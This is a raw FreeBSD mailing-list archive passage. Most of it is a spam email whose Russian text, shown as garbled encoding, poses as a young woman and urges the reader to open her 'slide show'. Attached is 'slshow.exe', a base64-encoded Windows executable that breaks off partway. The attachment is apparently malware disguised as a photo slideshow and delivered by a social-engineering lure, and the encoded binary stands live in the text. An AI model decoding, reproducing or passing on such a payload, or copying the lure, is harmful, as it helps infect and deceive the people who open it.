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 9IZ8dBNPSEGtTeN8/QejGM+fo1+gOZu16mf/2f8= --utlcnuhhihpfouam-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 18:25:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay1.telekom.ru (relay1.telekom.ru [194.190.195.76]) by hub.freebsd.org (Postfix) with ESMTP id 3222E37B9EA for ; Sat, 24 Jun 2000 18:24:55 -0700 (PDT) (envelope-from nady@mailru.com) Received: by relay1.telekom.ru (8.8.7/1.75) id FAA20386; Sun, 25 Jun 2000 05:20:10 +0400 (MSD) From: nady@mailru.com Received: from ppp2-133.dial-up.cnt.ru(212.15.118.133) by gateway via smap (V2.0) id xma004295; Sun, 25 Jun 00 04:19:20 +0400 To: Íåçíàêîìåö@mailru.com Subject: çíàêîìñòâî Date: Sun, 25 Jun 2000 04:19:26 +0300 Message-Id: <36702.180172685184000.290@localhost> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=sruoutjdercldigl Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --sruoutjdercldigl Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: 8bit ß íèêîãäà íå ïûòàëàñü ïîçíàêîìèòüñß â èíòåðíåòå, íî ðåøèëàñü ïîïðîáûâàòü. Æèâó â Ìîñêâå, ó÷óñü. Ìíå 19 ëåò. Íå çíàþ, ÷åãî ìíå íå õâàòàåò, ìîæåò ïðîñòî îáùåíèß , à ìîæåò ëàñêè è âíèìàíèß. ß äàæå íå çíàþ, ÷òî î ñåáå íàïèñàòü, âðîäå íå äóðà, à íå ìîãó. ß äîñòàòî÷íî êðèòè÷íî (òî åñòü ñåáå íå íðàâëþñü) îòíîøóñü ê ñâîåé âíåøíîñòè, íî ïðåäîñòàâëþ òåáå îöåíèòü åå.(åõå- ýòî ñëàéä øîó) --sruoutjdercldigl Content-Type: application/x-msdownload; name="slshow.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="slshow.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEGAKLKqTgAAAAA AAAAAOAADwELAQUAACQAAADqAAAAAAAAriQAAAAQAAAAQAAAAABAAAAQAAAAAgAA BAAAAAAAAAAEAAAAAAAAAABgAQAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAA AAAAABAAAAAAAAAAAAAAAGhXAQBNAQAAAEABAJwDAAAAAAAAAAAAAAAAAAAAAAAA PFMBAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAC50ZXh0AAAA ADAAAAAQAAAAFgAAAAQAAAAAAAAAAAAAAAAAAEAAAMAucmRhdGEAAAAQAAAAQAAA AAIAAAAaAAAAAAAAAAAAAAAAAABAAADALmRhdGEAAAAA4AAAAFAAAAAGAAAAHAAA AAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAABAAAAAwAQAABgAAACIAAAAAAAAAAAAA AAAAAEAAAMAucnNyYwAAAAAQAAAAQAEAAAQAAAAoAAAAAAAAAAAAAAAAAABAAADA LmRhdGEAuwAAEAAAAFABAAAKAAAALAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 